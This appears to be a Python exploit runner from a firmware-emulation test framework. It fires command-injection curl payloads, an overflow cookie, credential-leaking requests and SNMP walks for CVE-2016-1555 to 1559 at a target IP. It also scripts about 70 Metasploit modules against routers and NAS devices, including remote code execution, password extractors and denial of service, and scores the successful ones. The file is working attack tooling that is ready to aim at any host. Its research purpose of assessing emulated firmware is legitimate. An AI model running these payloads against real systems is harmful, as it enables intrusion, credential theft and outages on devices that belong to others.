#!/usr/bin/env python import os import sys import getopt import subprocess import contextlib import psycopg2 SHELL_EXPLOITS = { 200 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF1;®info=1&writeData=Submit\" http://%(target)s/boardData102.php", "grep -qs \"DEADBEEF1\" qemu.serial"), # CVE-2016-1555 201 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF2;®info=1&writeData=Submit\" http://%(target)s/boardData103.php", "grep -qs \"DEADBEEF2\" qemu.serial"), # CVE-2016-1555 202 : ("curl -L --max-redir 0 -m 5 -s -f http://%(target)s/ROM-0", ""), # https://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/ 203 : ("curl -L --max-redir 0 -m 5 -s -f -b dlink_uid=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA http://%(target)s/session_login.php", "grep -qs \"BadVA : 41414141\" qemu.serial"), # CVE-2016-1558 204 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF3;®info=1&writeData=Submit\" http://%(target)s/boardDataJP.php", "grep -qs \"DEADBEEF3\" qemu.serial"), # CVE-2016-1555 205 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF4;®info=1&writeData=Submit\" http://%(target)s/boardDataNA.php", "grep -qs \"DEADBEEF4\" qemu.serial"), # CVE-2016-1555 206 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF5;®info=1&writeData=Submit\" http://%(target)s/boardDataWW.php", "grep -qs \"DEADBEEF5\" qemu.serial"), # CVE-2016-1555 207 : ("curl -L --max-redir 0 -m 5 -s -f http://%(target)s/getBoardConfig.php", "grep -qs -e \"WPS PIN\" -e \"PASSPHRASE\" %(output)s"), # CVE-2016-1556 # 208 : ("curl -L --max-redir 0 -m 5 -s -f \"http://%(target)s/mfgwrite.php?product=;cat DEADBEEF6\"", "grep -qs \"DEADBEEF6\" qemu.serial"), 209 : ("snmpwalk -v2c -c public %(target)s .iso", "grep -qs \".2.1.3.3.2.1.1.4\" %(output)s"), # CVE-2016-1559 210 : ("snmpwalk -v2c -c public %(target)s .iso", "grep -qs \".4.1.1.1\" %(output)s "), # CVE-2016-1559 211 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.8.1.5", ""), # CVE-2016-1557 212 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.9.1.5", ""), # CVE-2016-1557 213 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.9.1.7", ""), # CVE-2016-1557 214 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.10.1.7", ""), # CVE-2016-1557 # 215 : ("curl -L --max-redir 0 -m 5 -s -f http://%(target)s/userRpmNatDebugRpm26525557/linux_cmdline.html", ""), # http://websec.ca/advisories/view/root-shell-tplink-wdr740 } METASPLOIT_EXPLOITS = { 0 : "use exploits/linux/http/airties_login_cgi_bof", 1 : "use exploits/linux/http/belkin_login_bof", 2 : "use exploits/linux/http/ddwrt_cgibin_exec", 3 : "use exploits/linux/http/dlink_authentication_cgi_bof", 4 : "use exploits/linux/http/dlink_command_php_exec_noauth", 5 : "use exploits/linux/http/dlink_diagnostic_exec_noauth", 6 : "use exploits/linux/http/dlink_dir300_exec_telnet", 7 : "use exploits/linux/http/dlink_dir605l_captcha_bof", 8 : "use exploits/linux/http/dlink_dir615_up_exec", 9 : "use exploits/linux/http/dlink_dspw110_cookie_noauth_exec", 10 : "use exploits/linux/http/dlink_dspw215_info_cgi_bof", 11 : "use exploits/linux/http/dlink_hedwig_cgi_bof", 12 : "use exploits/linux/http/dlink_hnap_bof", 13 : "use exploits/linux/http/dlink_hnap_header_exec_noauth", 14 : "use exploits/linux/http/dlink_upnp_exec_noauth", # 15 : "use exploits/router/dreambox_openpli_shell", 16 : "use exploits/linux/http/fritzbox_echo_exec", 17 : "use exploits/linux/http/linksys_apply_cgi", # 18 : "use exploits/linux/http/linksys_e1500_apply_exec", 19 : "use exploits/linux/http/linksys_themoon_exec", # 20 : "use exploits/linux/http/linksys_wrt54gl_apply_exec", # 21 : "use exploits/linux/http/linksys_wrt110_cmd_exec", # 22 : "use exploits/linux/http/linksys_wrt160nv2_apply_exec", 23 : "use exploits/linux/http/multi_ncc_ping_exec", 24 : "use exploits/linux/http/netgear_dgn1000b_setup_exec", # 25 : "use exploits/linux/http/netgear_dgn2200b_pppoe_exec", 26 : "use exploits/linux/http/netgear_readynas_exec", 27 : "use exploits/linux/http/realtek_miniigd_upnp_exec_noauth", 28 : "use exploits/linux/http/seagate_nas_php_exec_noauth", 29 : "use exploits/linux/misc/sercomm_exec", 30 : "use exploits/linux/upnp/dlink_upnp_msearch_exec", 31 : "use exploits/linux/upnp/miniupnpd_soap_bof", 32 : "use exploits/multi/http/cisco_dcnm_upload", 33 : "use exploits/multi/upnp/libupnp_ssdp_overflow", # 34 : "use exploits/unix/dhcp/bash_environment", # 35 : "use auxiliary/router/cisco_secure_acs_bypass", 36 : "use auxiliary/admin/cisco/vpn_3000_ftp_bypass", 37 : "use auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss", 38 : "use auxiliary/admin/http/dlink_dir_300_600_exec_noauth", 39 : "use auxiliary/admin/http/dlink_dir_645_password_extractor", 40 : "use auxiliary/admin/http/dlink_dsl320b_password_extractor", 41 : "use auxiliary/admin/http/intersil_pass_reset", # 42 : "use auxiliary/admin/http/linksys_e1500_e2500_exec", 43 : "use exploits/router/linksys_tmunblock_admin_reset_bof", # 44 : "use auxiliary/admin/http/linksys_wrt54gl_exec", 45 : "use auxiliary/admin/http/netgear_soap_password_extractor", 46 : "use auxiliary/admin/http/zyxel_admin_password_extractor", 47 : "use auxiliary/admin/misc/sercomm_dump_config", 48 : "use auxiliary/admin/motorola/wr850g_cred", 49 : "use auxiliary/admin/vxworks/apple_airport_extreme_password", 50 : "use auxiliary/admin/vxworks/dlink_i2eye_autoanswer", 51 : "use auxiliary/admin/vxworks/wdbrpc_memory_dump", 52 : "use auxiliary/admin/vxworks/wdbrpc_reboot", 53 : "use auxiliary/dos/cisco/ios_http_percentpercent", 54 : "use auxiliary/dos/dhcp/isc_dhcpd_clientid\nset RIP %(target)s", # 55 : "use auxiliary/router/ntpd_reserved_dos", 56 : "use auxiliary/dos/upnp/miniupnpd_dos", 57 : "use auxiliary/scanner/http/cisco_ios_auth_bypass", 58 : "use auxiliary/scanner/http/cisco_nac_manager_traversal", 59 : "use auxiliary/scanner/http/dlink_user_agent_backdoor", 60 : "use auxiliary/scanner/http/linksys_e1500_traversal", 61 : "use auxiliary/scanner/http/goahead_traversal", 62 : "use auxiliary/scanner/http/litespeed_source_disclosure\nset PATH_SAVE /tmp/", 63 : "use auxiliary/scanner/http/netgear_sph200d_traversal", 64 : "use auxiliary/scanner/ssl/openssl_ccs", 65 : "use auxiliary/scanner/ssl/openssl_heartbleed", 66 : "use auxiliary/scanner/http/allegro_rompager_misfortune_cookie", 67 : "use auxiliary/dos/dns/bind_tkey", 68 : "use exploits/linux/http/synology_dsm_sliceupload_exec_noauth", 69 : "use auxiliary/scanner/snmp/sbg6580_enum", 70 : "use auxiliary/scanner/snmp/arris_dg950", 71 : "use exploits/linux/http/dlink_hnap_login_bof", # Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow 72 : "use exploits/linux/http/netgear_r7000_cgibin_exec", # Netgear R7000 and R6400 cgi-bin Command Injection, import on 2017/03/20 73 : "use exploits/linux/http/netgear_wnr2000_rce", # NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow, import on 2017/03/27 } # this attempts to default to stdout if an output file is not provided, but may be buggy @contextlib.contextmanager def smart_open(filename, mode): if filename: f = open(filename, mode) else: f = sys.stdout try: yield f finally: if f != sys.stdout: f.close() def exploit_metasploit(target, eid, outfile=None): cmd = METASPLOIT_EXPLOITS[eid] % {'target':target} return cmd + "\nexploit -z\n" if not outfile else "spool " + outfile % \ {'exploit':eid} + "\n" + cmd + "\nexploit -z\nspool off\nsessions -K\n" def exploit_shell(target, eid, outfile=None): print("Executing shell command...") # create log file for this shell command execution if outfile: outfile = outfile % {'exploit':eid} with smart_open(outfile, 'w') as f: ret = subprocess.run(SHELL_EXPLOITS[eid][0] % {'target': target}, stderr=f, stdout=f, shell=True).returncode # always run verification command if available; do not attempt early # termination if the first command appears to fail # this fixes e.g. 203, which crashes the HTTP server and causes curl to # return CURLE_GOT_NOTHING (52) if SHELL_EXPLOITS[eid][1]: ret = subprocess.run(SHELL_EXPLOITS[eid][1] % \ {'target':target, 'output':outfile}, stderr=f, stdout=f, shell=True).returncode f.write("\nResult: %d" % ret) def scoring(outfile): dbh = psycopg2.connect(database = "exploit", user = "firmadyne", password = "firmadyne", host = "127.0.01") cur = dbh.cursor() print("\n===== Exploited result =====") exploited = [] for eid in list(METASPLOIT_EXPLOITS.keys()): cmd = "cat " + outfile % {'exploit' : eid} + " | grep -q +" rcode = subprocess.call(cmd, shell = True) if rcode != 1: # exploited! exploited.append(eid) if len(exploited) == 0: print("None") else: score = 0 for eid in exploited: query = """SELECT * FROM module WHERE id = %(eid)s""" cur.execute(query, {'eid' : eid}) x = cur.fetchone()[1] print("Exploited module: %s" % x) query = """SELECT * FROM score WHERE id = %(eid)s""" cur.execute(query, {'eid' : eid}) y = cur.fetchone() if y[2] is None: rank = y[1] if rank == "Excellent": s = 10.0 elif rank == "Great": s = 8.6 elif rank == "Good": s = 7.1 elif rank == "Normal": s = 5.7 elif rank == "Average": s = 4.3 elif rank == "Low": s = 2.9 elif rank == "Manual": s = 1.4 else: s = float(y[2]) print("Score: %.1f" % s) score = score + (10 - score) * s / 10 print("------------------------------") print("Total Score: %.2f" % score) print("============================") def process(target, exploits, outfile=None): cmd = "setg RHOST %(target)s\nsetg RHOSTS %(target)s\n\n" % \ {'target': target} # not great performance, because we will wait until all exploits have # been processed before starting metasploit with the script for e in exploits: if e in METASPLOIT_EXPLOITS: cmd += exploit_metasploit(target, e, outfile) + "\n" elif e in SHELL_EXPLOITS: exploit_shell(target, e, outfile) else: print("Unrecognized exploit: %d" % e) cmd += "quit" # write metasploit script to attempt exploits print("Writing script.rc...") with open("script.rc", 'w') as f: f.write(cmd) # create log file for all metasploit exploit execution if outfile: logfile = outfile % {'exploit': "metasploit"} else: logfile = "/dev/stdout" print("Executing metasploit command...") with smart_open(logfile, 'w') as f: ret = subprocess.run(['/bin/sh', '-c', 'msfconsole -qr script.rc'], stderr=f, stdout=f).returncode f.write("\nResult: %d" % ret) # print the exploited result and scoring scoring(outfile) def main(): exploits = [] outfile = None if len (sys.argv) != 7: print ("Usage: ./runExploits.py -t <target-ip> -o <output-dir> -e <exploits>") print ("Note: <exploits> can be 'all' or a list of exploits seperated by ','") exit (1) opts, argv = getopt.getopt(sys.argv[1:], 'e:t:o:') for k, v in opts: if k == '-e': if v == 'all': exploits = list (METASPLOIT_EXPLOITS.keys()) + list (SHELL_EXPLOITS.keys()) else: exploits = [int(x) for x in v.split(',')] if k == '-t': target = v if k == '-o': if not os.path.isdir(v): if os.path.exists(v): os.remove(v) os.makedirs(v, 0o755); outfile = v + "/%(exploit)s.log" process(target, exploits, outfile) if __name__ == "__main__": main()